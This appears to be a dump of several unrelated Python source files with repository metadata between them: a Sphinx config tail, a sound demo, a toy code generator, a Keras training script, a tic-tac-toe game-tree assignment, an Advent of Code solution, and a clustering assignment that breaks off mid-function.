# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'
# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}
# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'
# Output file base name for HTML help builder.
htmlhelp_basename = 'SlippinJimmydoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
# Latex figure (float) alignment
#'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'SlippinJimmy.tex', u'Slippin Jimmy Documentation',
u'Data Architects Schibsted Spain', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'slippinjimmy', u'Slippin Jimmy Documentation',
[author], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'SlippinJimmy', u'Slippin Jimmy Documentation',
author, 'SlippinJimmy', 'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False
|
[
"webmasterhhp@gmail.com"
] |
webmasterhhp@gmail.com
|
7ecb0fc45ab508097e8473572d1a53221cac4a05
|
81937f0eec3b78947ab498b118d81e2ec8652c67
|
/python_code_basic/wgrywanie_dzwieku.py
|
fea9ee3c1d9a166d1cbca6d7dc8c2c5560b611e6
|
[] |
no_license
|
dzakub77/python_basics
|
a0dec25ee30a7ca41256f38295520de0dc1497f2
|
10f7fe05ed3becb8095412e4811b779d9c7946d8
|
refs/heads/master
| 2020-08-26T13:18:20.049654
| 2020-01-15T15:18:52
| 2020-01-15T15:18:52
| 217,023,069
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,712
|
py
|
from livewires import games
games.init(screen_width=640, screen_height=480, fps=50)
pocisk_sound = games.load_sound('pocisk.wav') # za pomocą funkcji load_sound - można ładować tylko pliki WAV
games.music.load('temat.mid')
choice = None
while choice != '0':
print(
"""
Dźwięk i muzyka
0 - zakończ
1 - odtwórz dźwięk pocisku
2 - odtwarzaj cyklicznie dźwiek pocisku
3 - zatrzymaj odtwarzanie dźwięku pocisku
4 - odtwórz temat muzyczny
5 - odtwarzaj cyklicznie temat muzyczny
6 - zatrzymaj odtwarzanie tematu myzycznego
"""
)
choice = input("Wybieram: ")
print()
if choice == '0':
print("Żegnaj")
elif choice == '1':
pocisk_sound.play()
print("Odtworzenie dźwięku pocisku.")
elif choice == '2':
loop = int(input("Ile razy chcesz odtworzyć ten dźwięk? "))
pocisk_sound.play(loop) # jeżeli zamiast 2 wstaiwmy wartość -1, odtwarzanie będzie trwało bez końca
print("Odtworzenie cykliczne dźwięku.")
elif choice == '3':
pocisk_sound.stop()
print("Zatrzymanie odtwarzania.")
elif choice == '4':
games.music.play()
print("Odtworzenie tematu muzycznego.")
elif choice == '5':
loop = int(input("Ile razy chcesz odtworzyć temat muzyczny? "))
games.music.play(loop)
print("Odtworzenie cykliczne tematu muzycznego.")
elif choice == '6':
games.music.stop()
print("Zatrzymanie odtwarzania tematu muzycznego.")
else:
print(f"Niestety wybór {choice}, nie jest prawidłowym wyborem.")
input("\nAby zakończyć, naciśnij enter.")
|
[
"jak.inglot@gmail.com"
] |
jak.inglot@gmail.com
|
3537aa0fb0be8afecb49e6666914e44afa4ab13f
|
3e01b405b99c95c48cf97f6d2f0609132e7aa80f
|
/Project Code/ICG with Quadruples/a.py
|
48e641adc9f5c9aa8884652dfc5fd106b872f2ad
|
[] |
no_license
|
rishabh15b/Compiler-Design-CPP
|
a1ee6944b98295561842795d6f229f37a9d89f53
|
fe1b43c8dee0c9afa48393aabeec66eaf8c6922e
|
refs/heads/master
| 2022-09-22T18:11:48.829062
| 2020-06-05T10:51:14
| 2020-06-05T10:51:14
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,295
|
py
|
fp=open("out.txt","r")
lines=fp.readlines()
#print(lines)
#lines.pop()
c=0
d_value={}
d_reg={}
used=[0]*16
#print(lines)
i=0
while(i<len(lines)):
stmt=lines[i]
stmt=stmt.strip("\n")
#print(stmt)
if("=" in stmt):
index=stmt.index("=")
lhs=stmt[0:index]
exp=stmt[index+1::]
lhs=lhs.strip()
exp=exp.strip()
#print(lhs,exp)
if(exp.isdigit()):
i=i+1
if(lhs not in d_reg):
used[c]=1
s="R"+(str(c))
print("MOV ",s,",#",exp,sep="")
c=c+1
d_value[lhs]=int(exp)
d_reg[lhs]=s
else:
d_value[lhs]=int(exp)
print("MOV ",d_reg[lhs],",#",exp,sep="")
elif(("*" in exp) or ("/" in exp) or ("%" in exp) or("+" in exp) or ("-" in exp)):
operand1,op,operand2=exp.split()
operand1=operand1.strip()
operand2=operand2.strip()
op=op.strip()
#print(operand1,op,operand2)
if(not operand1.isdigit() or not operand2.isdigit()):
if(d_reg.get(operand1)==None and not operand1.isdigit()):
s="R"+str(c)
c=c+1
d_reg[operand1]=s
print("LDR ",s,",",operand1,sep="")
if(d_reg.get(operand2)==None and not operand2.isdigit()):
s="R"+str(c)
c=c+1
d_reg[operand2]=s
print("LDR ",s,",",operand2,sep="")
if(d_reg.get(operand1)!=None and d_reg.get(operand2)!=None):
str1=d_reg[operand1]
str2=d_reg[operand2]
elif(operand1.isdigit()):
str1="#"+operand1
str2=d_reg[operand2]
elif(operand2.isdigit()):
str1=d_reg[operand1]
str2="#"+operand2
next_stmt=lines[i+1]
next_stmt.strip()
index=next_stmt.index("=")
lhs=next_stmt[0:index]
lhs=lhs.strip()
if(d_reg.get(lhs)==None):
s="R"+str(c)
c=c+1
d_reg[lhs]=s
print("LDR ",s,",",lhs,sep="")
if(op=="*"):
print("MUL ",d_reg[lhs],",",str1,",",str2,sep="")
elif(op=="+"):
print("ADD ",d_reg[lhs],",",str1,",",str2,sep="")
elif(op=="-"):
print("SUB ",d_reg[lhs],",",str1,",",str2,sep="")
elif(op=="/"):
print("DIV ",d_reg[lhs],",",str1,",",str2,sep="")
elif(op=="%"):
print("MOD ",d_reg[lhs],",",str1,",",str2,sep="")
i=i+2
elif((">" in exp) or ("<" in exp)):
#print(exp)
operand1,op,operand2=exp.split()
operand1=operand1.strip()
operand2=operand2.strip()
op=op.strip()
if(d_reg.get(operand1)==None and not operand1.isdigit()):
s="R"+str(c)
c=c+1
d_reg[operand1]=s
print("LDR ",s,",",operand1,sep="")
if(d_reg.get(operand2)==None and not operand2.isdigit()):
s="R"+str(c)
c=c+1
d_reg[operand2]=s
print("LDR ",s,",",operand2,sep="")
if(d_reg.get(operand1)!=None and d_reg.get(operand2)!=None):
str1=d_reg[operand1]
str2=d_reg[operand2]
elif(operand1.isdigit()):
str1="#"+operand1
str2=d_reg[operand2]
elif(operand2.isdigit()):
str2="#"+operand2
str1=d_reg[operand1]
s="R"+str(c)
c=c
print("SUB ",s,",",str1,",",str2,sep="")
if(op=="<"):
print("BGZ ",s,",",sep="",end="")
elif(op==">"):
print("BLZ ",s,",",sep="",end="")
elif(op==">="):
print("BLEZ ",s,",",sep="",end="")
elif(op=="<="):
print("BGEZ ",s,",",sep="",end="")
next_stmt=lines[i+2]
print(next_stmt.split()[3])
i=i+3
elif("L" in stmt.split()[0]):
print(stmt)
i=i+1
elif(stmt.split()[0]=="goto"):
print("BR ",stmt.split()[1])
i=i+1
# handle "<="
|
[
"kashishoberoi00@gmail.com"
] |
kashishoberoi00@gmail.com
|
3b8e576a97ba4ac059b20ebad2031a6905f954f0
|
e75d8c82d32db8544f90cd298fcbc9bf99570322
|
/beginnerModel.py
|
b48fe82c944aa8947bbe9777a2b6be54119edf60
|
[] |
no_license
|
szr712/SkipRope2
|
d5069d661bbc84d3f18234e035185e90a4db368d
|
60941a6362ab200afa3642a4b4708feef44dd7f6
|
refs/heads/master
| 2023-04-21T07:04:26.898651
| 2021-05-12T06:39:19
| 2021-05-12T06:39:19
| 360,069,902
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 7,082
|
py
|
import os
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout
from tensorflow.keras.layers import LSTM
import tensorflow as tf
from tensorflow.python.keras import Input
from tensorflow.python.keras.layers import concatenate, add
from tensorflow.python.keras.models import Model, load_model
from tensorflow.python.keras.optimizer_v2.adam import Adam
from tensorflow.python.keras.optimizer_v2.rmsprop import RMSprop
from tensorflow.python.keras.utils.version_utils import callbacks
from tensorflow.python.keras.utils.vis_utils import plot_model
from dataReader import padding, load_dataset_beginner, load_dataset_beginner_reg
from datetime import datetime
modelName = "初学者动作标准度_Dense_有扩容_无finetuning_"
# os.environ['CUDA_VISIBLE_DEVICES'] = '-1'
epochs, batch_size = 200, 256
dataSet = "./data"
className = "RopeSwinging"
logDir = "./logs"
curTime = datetime.now().strftime("_%Y%m%d_%H_%M_%S")
modelPath = "./model"
zuoyou = "zuoyou/左右得分_class_weight_0.997__20210419_19_16_24.h5"
shoubi = "shoubi/手臂得分_class_weight_0.974__20210419_20_14_55.h5"
shouwan = "shouwan/手腕得分_class_weight_0.969__20210419_20_13_17.h5"
def to_circleList(data):
hallsensor = -1
circleList = []
pre = 0
for i in range(0, data.shape[0]):
if data[i][9] == hallsensor:
hallsensor = -hallsensor
# 切割进入list
circleList.append(data[pre:i, 0:9].copy())
pre = i
circleList.append(data[pre:, 0:9].copy())
for i in range(0, len(circleList)):
circleList[i] = padding(circleList[i])
return circleList
def zuoyou_model():
model = load_model(os.path.join(modelPath, zuoyou))
model = Model(inputs=model.input, outputs=model.layers[1].output, name="zuoyou_model")
# model = Sequential(name="zuoyou_model")
# model.add(LSTM(64, input_shape=(30, 9), return_sequences=True, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
# model.add(LSTM(64, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
return model
def shoubi_model():
model = load_model(os.path.join(modelPath, shoubi))
model = Model(inputs=model.input, outputs=model.layers[1].output, name="shoubi_model")
model = Sequential(name="shoubi_model")
model.add(LSTM(64, input_shape=(30, 9), return_sequences=True, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
model.add(LSTM(64, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
# model.trainable = False
return model
def shouwan_model():
# model = load_model(os.path.join(modelPath, shouwan))
# model = Model(inputs=model.input, outputs=model.layers[1].output, name="shouwan_model")
model = Sequential(name="shouwan_model")
model.add(LSTM(64, input_shape=(30, 9), return_sequences=True, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
model.add(LSTM(64, kernel_regularizer=tf.keras.regularizers.l2(0.0001)))
# model.trainable = False
return model
def get_callbacks():
return [
callbacks.EarlyStopping(monitor='val_acc', patience=20, restore_best_weights=True), # 就是需要对验证集的loss监听
# callbacks.EarlyStopping(monitor='val_loss', patience=20),
callbacks.TensorBoard(log_dir=os.path.join(logDir, className, modelName + curTime)),
]
def my_loss_fn(y_true, y_pred):
zeros = tf.zeros_like(y_pred, dtype=y_pred.dtype)
ones = tf.ones_like(y_pred, dtype=y_pred.dtype)
filter = tf.where(tf.abs(y_true - y_pred) > 1, ones, zeros)
return tf.reduce_mean(filter * tf.square(y_pred - y_true), axis=-1)
def postion_model():
inputs = []
for i in range(0, 70):
inputs.append(Input(shape=(30, 9)))
print("inputs complicated")
feature = zuoyou_model()
# feature.trainable = False
outs = []
for input in inputs:
outs.append(feature(input))
print("outs complicated")
x = concatenate(outs)
x = Dropout(0.2)(x)
# x = Dense(64, activation="relu", kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
# x = tf.expand_dims(x, axis=-1)
# x = LSTM(64, kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
# x = LSTM(96, kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
out = Dense(3, activation='softmax')(x)
# out = Dense(1)(x)
model = Model(inputs, out)
return model
def rope_model():
inputs = []
for i in range(0, 70):
inputs.append(Input(shape=(30, 9)))
print("inputs complicated")
feature1 = shoubi_model()
feature2 = shouwan_model()
# feature.trainable = False
outs = []
for input in inputs:
x1 = feature1(input)
x2 = feature2(input)
out = concatenate([x1, x2])
outs.append(out)
# outs.append(x1)
# for input in inputs:
# # x1 = feature1(input)
# x2 = feature2(input)
# # out = concatenate(x1)
# outs.append(x2)
# # outs.append(x2)
print("outs complicated")
x = concatenate(outs, axis=1)
x = Dropout(0.2)(x)
# x = Dense(64, activation="relu", kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
# x = tf.expand_dims(x, axis=-1)
# x = LSTM(64, kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
# x = LSTM(96, kernel_regularizer=tf.keras.regularizers.l2(0.0001))(x)
out = Dense(3, activation='softmax')(x)
# out = Dense(1)(x)
model = Model(inputs, out)
return model
def compile_model(model):
learning_rate = tf.keras.optimizers.schedules.ExponentialDecay(
0.0003,
decay_steps=3000,
decay_rate=0.8)
model.compile(loss='categorical_crossentropy', optimizer=Adam(learning_rate), metrics=['acc'])
# model.compile(loss='mse', optimizer=RMSprop(learning_rate), metrics=['mse', 'mae'])
# model.compile(loss=my_loss_fn, optimizer=RMSprop(learning_rate), metrics=my_loss_fn)
model.summary()
return model
def train_model(model, trainX, trainy, testX, testy, class_weights):
history = model.fit(trainX, trainy, epochs=epochs, batch_size=batch_size, validation_data=(testX, testy),
class_weight=class_weights, callbacks=get_callbacks(), shuffle=True)
# history = model.fit(trainX, trainy, epochs=epochs, batch_size=batch_size, validation_data=(testX, testy),
# callbacks=get_callbacks(), shuffle=True)
result = model.evaluate(testX, testy, batch_size=batch_size)
return history, result
if __name__ == "__main__":
print(modelName)
X_train, X_test, y_train, y_test, class_weights, _ = load_dataset_beginner(dataSet, className,augment=True,times=150)
model = rope_model()
model.summary()
# model = postion_model()
compile_model(model)
# plot_model(model, to_file='./rope_model.png')
history, result = train_model(model, X_train, y_train, X_test, y_test, class_weights)
saveName = modelName + str(round(result[1], 3)) + "_" + curTime + ".h5"
model.save(os.path.join(modelPath, className, saveName))
# model.save(saveName)
|
[
"zirui990712@163.com"
] |
zirui990712@163.com
|
62e2055c06bdab8ebe9363f8cb6ba7382d3af888
|
4577d8169613b1620d70e3c2f50b6f36e6c46993
|
/students/1798177/homework04/program02.py
|
2afb7299a76787aa239a4beaaac8f0e9130c4d9e
|
[] |
no_license
|
Fondamenti18/fondamenti-di-programmazione
|
cbaf31810a17b5bd2afaa430c4bf85d05b597bf0
|
031ec9761acb1a425fcc4a18b07884b45154516b
|
refs/heads/master
| 2020-03-24T03:25:58.222060
| 2018-08-01T17:52:06
| 2018-08-01T17:52:06
| 142,419,241
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,331
|
py
|
# Il tris è un popolarissimo gioco. Si gioca su una griglia quadrata di 3x3
# caselle. A turno, i due giocatori scelgono una cella vuota e vi disegnano il
# proprio simbolo (un giocatore ha come simbolo una 'o' e l'avversario una 'x').
# Vince il giocatore che riesce a disporre tre dei propri simboli in linea retta
# orizzontale, verticale o diagonale. Se la griglia viene riempita senza che
# nessuno dei giocatori sia riuscito a completare una linea retta di tre
# simboli, il gioco finisce in parità. Nel caso in cui il gioco finisse in
# parità, la partita è detta "patta". Per convenzione a griglia vuota la prima
# mossa spetta sempre al giocatore 'o'.
#
# Una configurazione del gioco è dunque univocamente determinata dal contenuto
# della griglia.
#
# Nel seguito assumiamo che il contenuto della griglia sia rappresentato tramite
# lista di liste. La dimensione della lista di liste M è 3x3 ed M[i][j] contiene
# '', 'x', o 'o' a seconda che la cella della griglia appartenente all'iesima
# riga e j-ma colonna sia ancora libera, contenga il simbolo 'x' o contenga il
# simbolo 'o'.
#
# Data una configurazione C del gioco, l'albero di gioco per C è l'albero che
# si ottiene ricorsivamente partendo dalla configurazione C e assegnando come
# figli le configurazioni che è possibile ottenere da C con una mossa ulteriore
# del gioco. Ovviamente risulteranno foglie dell'albero i possibili esiti della
# partita vale a dire le diverse configurazioni cui è possibile arrivare
# partendo da C e che rappresentano patte, vittorie per 'o' o vittorie per 'x'.
# Se veda ad esempio l'immagine albero_di_gioco.png che mostra l'albero di
# gioco che si ottiene a partire dalla configurazione rappresentata da
# [['x', 'o', 'o'], ['x', 'x', 'o'], ['', '', '']].
#
# Si consideri la seguente Classe di oggetti:
#
# class NodoTris:
# def __init__(self, griglia):
# self.nome = griglia
# self.lista_figli = []
#
# Bisogna progettare le seguente funzione gen_tree(griglia) che, data la
# configurazione di gioco griglia, costruisce l'albero di gioco che si ottiene a
# partire dalla configurazione griglia e ne restituisce la radice. I nodi
# dell'albero devono essere oggetti della classe NodoTris.
#
# Per testare la correttezza della vostra implementazione di gen_tree() il grade
# utilizzerà quattro metodi della classe NodoTris che dovete comunque
# implementare:
#
# 1) tipo(self)
# che, dato un nodo NodoTris, restituisce:
# - 'o' se la configurazione rappresentata dal nodo è una configurazione di
# vittoria per il giocatore 'o';
# - 'x' se la configurazione rappresentata dal nodo è una configurazione di
# vittoria per il giocatore 'x';
# - '-' se la configurazione rappresentata dal nodo è una configurazione di
# patta;
# - '?' se la configurazione rappresentata dal nodo è una configurazione di
# gioco non ancora terminato.
#
# 2) esiti(self)
# che, dato un nodo radice di un albero di gioco, restituisce una tripla con i
# possibili esiti della partita che ha come configurazione iniziale quella
# rappresentata dal nodo. Più precisamente: il primo elemento della tripla è il
# numero di patte possibili, il secondo è il numero di possibili vittorie per
# il giocatore 'o' mentre il terzo elemento è il numero di possibili vittorie
# per il giocatore 'x'.
#
# 3) vittorie_livello(self, giocatore, h)
# che, dato un nodo radice di un albero di gioco, uno dei due giocatori ed un
# intero h, restituisce il numero di nodi che rappresentano una vittoria per il
# giocatore e si trovano ad altezza h nell'albero. In altri termini restituisce
# il numero di vittorie possibili per giocatore in esattamente h mosse, nella
# partita che ha come configurazione iniziale quella rappresentata dalla radice
# dell'albero.
#
# 4) strategia_vincente(self, giocatore)
# che, dato un nodo radice di un albero di gioco ed uno dei due giocatori,
# restituisce True o False. Restituisce True se giocatore ha una strategia
# vincente nella partita che ha come configurazione iniziale quella
# rappresentata dal nodo radice, False altrimenti.
#
# Nota che un giocatore ha una strategia vincente rispetto ad una certa
# configurazione se, qualunque siano le mosse dell'avversario ha sempre la
# possibilità di rispondere in modo che la partita termini con la sua vittoria.
#
# Potete ovviamente definire ulteriori funzioni e altri metodi per la Classe
# NodiTris se li ritenete utili al fine della risoluzione del compito.
#
# Potete assumere che le configurazioni di gioco rappresentate da griglia siano
# sempre configurazioni lecite (vale a dire ottenute dopo un certo numero di
# mosse a parire dalla griglia vuota).
#
# AVVERTENZE: non usare caratteri non ASCII, come le lettere accentate; non
# importare moduli che non sono nella libreria standard.
#
# ATTENZIONE: i test vengono eseguiti con un timeout globale di 2*N secondi (se
# il grader esegue N test).
class NodoTris:
def __init__(self, grid):
self.nome = grid # La griglia con i valori.
self.lista_figli = set() # Insieme dei sviluppi del nodo.
self.status = '' # Lo stato del nodo ('o', 'x', '?', '-').
self.turn = '' # 0 -> 'o'; 1 -> 'x'.
self.score = []
def tipo(self):
return self.status # Viene calcolato durante la creazione dell'albero.
def esiti(self):
result = [0, 0, 0]
perform_endings(self, result)
return tuple(result)
def vittorie_livello(self, player, dest_lvl, current_lvl = 0):
if dest_lvl == current_lvl:
return int(self.status == player) # Torna 1 o 0.
else: # Ancora non si raggiunge 'dest_lvl'.
wins = 0
for sub_config in self.lista_figli:
wins += sub_config.vittorie_livello(player,
dest_lvl,
current_lvl + 1)
return wins
def strategia_vincente(self,giocatore):
if giocatore == 'o':
opposite = 'x'
else:
opposite = 'o'
result = strategy(self, giocatore, opposite)
if result == -1:
return False
else:
return True
# ------------------------------------------------------------------------------
def perform_endings(node, result):
exit = { '-' : 0, 'o' : 1, 'x' : 2 }
if node.status != '?':
result[exit[node.status]] += 1
return
for sub_config in node.lista_figli:
perform_endings(sub_config, result)
def score(node, player, opponent):
'''Ritorna il punteggio del giocatore sul nodo 'node'.'''
if node.status == player:
return 1
else: # Se vince il nemico o pareggia è sempre una cosa negativa.
return -1
def get_single_score(scores, value):
'''Ritorna il punteggio in base a 'value'.'''
if value in scores:
return value
else:
return -value # Opposto.
def evalutate_strategy(node, opponent, scores):
'''Valuta se è presente o meno una strategia vincente su 'node'.'''
if node.turn == opponent:
return get_single_score(scores, -1)
else:
return get_single_score(scores, 1)
def strategy(node, player, opponent):
'''Ritorna la presenza di una strategia vincente per il giocatore.'''
if not node.lista_figli:
return score(node, player, opponent)
scores = set()
# Micro-ottimizzazione: la risoluzione dei nomi in Python è molto lenta,
# sopratutto in casi di cicli come il for.
add = scores.add
for sub_config in node.lista_figli:
add(strategy(sub_config, player, opponent))
return evalutate_strategy(node, opponent, scores)
# ------------------------------------------------------------------------------
GRID_X = 1
GRID_O = 0
GRID_EMPTY = 10
def get_translated_cell(cell):
'''Converte la cella dal formato della griglia di partenza a quello con
la codifica numerica. Restituisce la cella convertita.
'''
if not cell:
return GRID_EMPTY
return int(cell != 'o') # 0 -> 'o', 1 -> 'x'.
def convert_grid(grid):
'''Converte la griglia dal formato originale ad uno con le celle codificate
in numeri.
'''
for row in range(3):
for column in range(3):
grid[row][column] = get_translated_cell(grid[row][column])
def calculate_sums(grid, sums):
'''Calcola i risultati delle somme delle righe, colonne e diagonali e salva
tutto sulla lista 'sums'.
'''
first_row = 0
second_row = 1
third_row = 2
first_column = 3
second_column = 4
third_column = 5
diag = 6
rdiag = 7
for step in range(0, 3):
sums[first_row] += grid[0][step]
sums[second_row] += grid[1][step]
sums[third_row] += grid[2][step]
sums[first_column] += grid[step][0]
sums[second_column] += grid[step][1]
sums[third_column] += grid[step][2]
sums[diag] = grid[0][0] + grid[1][1] + grid[2][2]
sums[rdiag] = grid[0][2] + grid[1][1] + grid[2][0]
def get_default_status(sums):
'''Ritorna il simbolo di patta oppure partita non terminata, in base ai
valori di 'sums'.
'''
if max(sums) >= GRID_EMPTY:
return '?'
else:
return '-'
def get_status(grid):
'''Ritorna lo stato delle griglia, che può essere '-', '?', 'x', 'o'.'''
sums = [0, 0, 0, 0, 0, 0, 0, 0]
calculate_sums(grid, sums)
if 3 in sums: # tre 'x' (ossia 1) in fila.
return 'x'
elif 0 in sums: # tre 'o' (ossa 0) in fila.
return 'o'
return get_default_status(sums)
def get_copy_of(grid):
'''Restituisce una copia della griglia.'''
new_grid = []
for row in range(3):
new_grid += [[grid[row][0], grid[row][1], grid[row][2]]]
return new_grid
def get_player(player):
if player:
return 'o'
else:
return 'x'
def next_move(tree, grid, row, column, player):
if grid[row][column] == GRID_EMPTY:
child_grid = get_copy_of(grid)
child_grid[row][column] = player
tree.lista_figli.add(get_tree(child_grid, player))
def get_tree(griglia, player):
tree = NodoTris(griglia)
tree.status = get_status(griglia)
tree.turn = get_player(player)
if tree.status != '?':
return tree
player = (player + 1) % 2
for row in range(3):
next_move(tree, griglia, row, 0, player)
next_move(tree, griglia, row, 1, player)
next_move(tree, griglia, row, 2, player)
return tree
def get_start_player(grid):
'''Ritorna il giocatore (codificato in numero) che deve effettuare la mossa
al turno successivo rispetto alla griglia 'grid' convertita in numeri.
'''
first_row = 0
second_row = 0
third_row = 0
for column in range(3):
first_row += grid[0][column]
second_row += grid[1][column]
third_row += grid[2][column]
# La somma di tutti i valori indica chi inizierà per primo.
total = first_row + second_row + third_row
if total == 90: # Griglia vuota.
return 1
else:
return total % 2
def gen_tree(griglia):
griglia = get_copy_of(griglia)
convert_grid(griglia)
start_player = get_start_player(griglia)
return get_tree(griglia, start_player)
|
[
"a.sterbini@gmail.com"
] |
a.sterbini@gmail.com
|
20675f33d29bf73a3bcfb2d44baa70a43ba27ed0
|
e002510c48f271ffcc36449f2c866d29e0bb2a4b
|
/AoC/2018/05/05.py
|
330ff11fe3cf88c9c56de54ee8ab57c0ea92d5e8
|
[] |
no_license
|
petreleon/CodingChallanges
|
6da5b45abcb6d9e10acbf78d6eb695eaa413fff7
|
3b213938a90c0e477ec592b0cb5cb2826971b8ea
|
refs/heads/master
| 2023-02-07T23:32:05.390242
| 2020-12-25T23:17:32
| 2020-12-25T23:17:32
| 317,426,902
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 758
|
py
|
from parse import parse
from operator import methodcaller
file_opened = open("input.txt", 'r')
lines = file_opened.read().splitlines()
def reactorMatch(first,second):
if first.upper() == second.upper() and first != second:
return True
return False
sum_ = 0
for line in lines:
beforeReact = ''
afterReact = line
while afterReact != beforeReact:
beforeReact = afterReact
for reactorIndex, reactor in enumerate(beforeReact):
if reactorIndex < len(beforeReact) - 1:
if reactorMatch(reactor, beforeReact[reactorIndex+1]):
afterReact = beforeReact[:reactorIndex]+beforeReact[reactorIndex+2:]
break
sum_ += len(afterReact)
print(sum_)
|
[
"petreleonardos@gmail.com"
] |
petreleonardos@gmail.com
|
1dd017ce55ba23554439bf43ec6c811e5a816567
|
4a06d9c889b5db2b7f9cbce0c39dedfce27876c4
|
/Application3_Q7.py
|
521100e0e901931296709c938ffeba32c9daa8cc
|
[] |
no_license
|
Oleksandr-Olefirenko/AlgorithmicThinking
|
f75fe8a98877deb4ed724cdb680f893fe5830f4b
|
3c5986d6003ee1a00e05e736f81540001480469e
|
refs/heads/master
| 2021-05-29T22:03:01.457838
| 2015-08-04T19:08:25
| 2015-08-04T19:08:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 9,156
|
py
|
"""
Student template code for Project 3
Student will implement five functions:
slow_closest_pair(cluster_list)
fast_closest_pair(cluster_list)
closest_pair_strip(cluster_list, horiz_center, half_width)
hierarchical_clustering(cluster_list, num_clusters)
kmeans_clustering(cluster_list, num_clusters, num_iterations)
where cluster_list is a 2D list of clusters in the plane
"""
import math
import alg_cluster
######################################################
# Code for closest pairs of clusters
def pair_distance(cluster_list, idx1, idx2):
"""
Helper function that computes Euclidean distance between two clusters in a list
Input: cluster_list is list of clusters, idx1 and idx2 are integer indices for two clusters
Output: tuple (dist, idx1, idx2) where dist is distance between
cluster_list[idx1] and cluster_list[idx2]
"""
return (cluster_list[idx1].distance(cluster_list[idx2]), min(idx1, idx2), max(idx1, idx2))
def slow_closest_pair(cluster_list, l_b, r_b):
"""
Compute the distance between the closest pair of clusters in a list (slow)
Input: cluster_list is the list of clusters
Output: tuple of the form (dist, idx1, idx2) where the centers of the clusters
cluster_list[idx1] and cluster_list[idx2] have minimum distance dist.
"""
result = (float("inf"), -1, -1)
if l_b == r_b:
return result
for idx1 in xrange(l_b, r_b):
for idx2 in xrange(idx1 + 1, r_b + 1):
current_d = pair_distance(cluster_list, idx1, idx2)
if current_d < result:
result = current_d
return result
def fast_closest_pair(cluster_list, l_b, r_b, v_i):
"""
Compute the distance between the closest pair of clusters in a list (fast)
Input: cluster_list is list of clusters SORTED such that horizontal positions of their
centers are in ascending order
Output: tuple of the form (dist, idx1, idx2) where the centers of the clusters
cluster_list[idx1] and cluster_list[idx2] have minimum distance dist.
"""
num = r_b - l_b + 1
if num <= 3:
return slow_closest_pair(cluster_list, l_b, r_b)
else:
mid = int(math.floor(0.5 * (r_b + l_b)))
v_i_l = [v_i[idx] for idx in xrange(len(v_i))
if v_i[idx] < mid]
v_i_r = [v_i[idx] for idx in xrange(len(v_i))
if v_i[idx] >= mid]
result = fast_closest_pair(cluster_list, l_b, mid - 1, v_i_l)
new_res = fast_closest_pair(cluster_list, mid, r_b, v_i_r)
#new_res = (new_res[0], new_res[1] + mid, new_res[2] + mid)
if new_res < result:
result = new_res
mid = 0.5 * (cluster_list[mid - 1].horiz_center()
+ cluster_list[mid].horiz_center())
new_res = closest_pair_strip(cluster_list,
mid, result[0], v_i)
if new_res < result:
result = new_res
return result
def closest_pair_strip(cluster_list, horiz_center, half_width, v_i):
"""
Helper function to compute the closest pair of clusters in a vertical strip
Input: cluster_list is a list of clusters produced by fast_closest_pair
horiz_center is the horizontal position of the strip's vertical center line
half_width is the half the width of the strip (i.e; the maximum horizontal distance
that a cluster can lie from the center line)
Output: tuple of the form (dist, idx1, idx2) where the centers of the clusters
cluster_list[idx1] and cluster_list[idx2] lie in the strip and have minimum distance dist.
"""
